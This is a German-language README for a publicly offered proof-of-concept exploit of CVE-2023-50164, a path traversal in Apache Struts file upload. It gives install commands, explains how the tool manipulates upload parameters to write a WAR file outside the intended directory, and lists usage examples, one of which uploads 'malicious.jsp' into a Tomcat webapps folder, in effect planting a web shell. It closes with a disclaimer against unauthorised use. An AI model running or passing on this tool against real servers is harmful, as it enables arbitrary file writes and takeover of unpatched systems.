
Proof of Concept für Path Traversal in Apache Struts ("CVE-2023-50164")
Install
Um dieses Tool zu installieren, muss Go mindestens in Version 1.20 installiert und konfiguriert sein.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
Alternativ können Sie es selbst kompilieren: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
How it Works?
Dieses Tool arbeitet in mehreren Schritten, um den Exploit auszuführen.
Wenn Sie beispielsweise die Datei /path/to/file-you-want-to-upload.txt hochladen möchten, geht das Tool wie folgt vor:
Es komprimiert die angegebene Datei zu einer WAR-Datei und erzeugt eine file-you-want-to-upload.war im
betriebssystemspezifischen temporären Verzeichnis. Das Tool nimmt daher an, dass der Servlet-Kontext-Dateipfad
/file-you-want-to-upload/file-you-want-to-upload.txt lautet.
Es prüft, ob der Servlet-Kontext-Dateipfad bereits existiert. Ist dies der Fall, gibt das Tool sofort einen Fehler zurück.
Das Tool versucht, die WAR-Datei durch Manipulation der Datei-Upload-Parameter hochzuladen.
Anschließend überprüft es erneut die Verfügbarkeit (Statuscode 200) des Servlet-Kontext-Dateipfads, was einen erfolgreichen Datei-Upload bestätigt.
Usage
$ cve-2023-50164-poc -h
PoC for CVE-2023-50164
--
coded by @dwisiswant0
Usage:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Options:
-u, --url <URL> Specify the upload endpoint URL
-f, --file <FILE> Provide the payload file for uploading
-t, --traverse-seq <N> Generate traversal sequences N times (default: "0")
-p, --path <PATH> Specify the path to the accessible root directory
-w, -win, --windows Converts slash ("/") chars to Windows separator ("\")
Example:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
Notes
Die jar-Binärdatei sollte im $PATH Ihres Systems vorhanden sein.
Der Zielpfad sollte ein zugänglicher Stammpfad sein, z. B. /var/lib/jetty/webapps für Jetty oder
/opt/tomcat/webapps für Apache Tomcat.
Die Standard-Traversal-Sequenzen betragen null („0“). Sie können Traversal-Sequenzen für den Wert des
Flags -p/--path manuell eingeben, z. B. /../webapps oder /../../opt/tomcat/webapps. Die
Traversal-Sequenzen unterscheiden sich für jedes Servlet.
Das Flag -w/-win/--windows wird ausschließlich verwendet, wenn das Servlet auf einem Windows-Server läuft.
Disclaimer
Die Verwendung dieses Tools zum Angriff auf Ziele ohne gegenseitige Zustimmung ist illegal. Benutzer müssen die kommunalen, Landes- und Bundesgesetze einhalten. Der Entwickler („dwisiswant0“/„Dwi Siswanto“) ist NICHT für Schäden verantwortlich, die durch Missbrauch des Tools verursacht werden.
License
Dieses Tool ist unter der WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE) lizenziert. Siehe COPYING.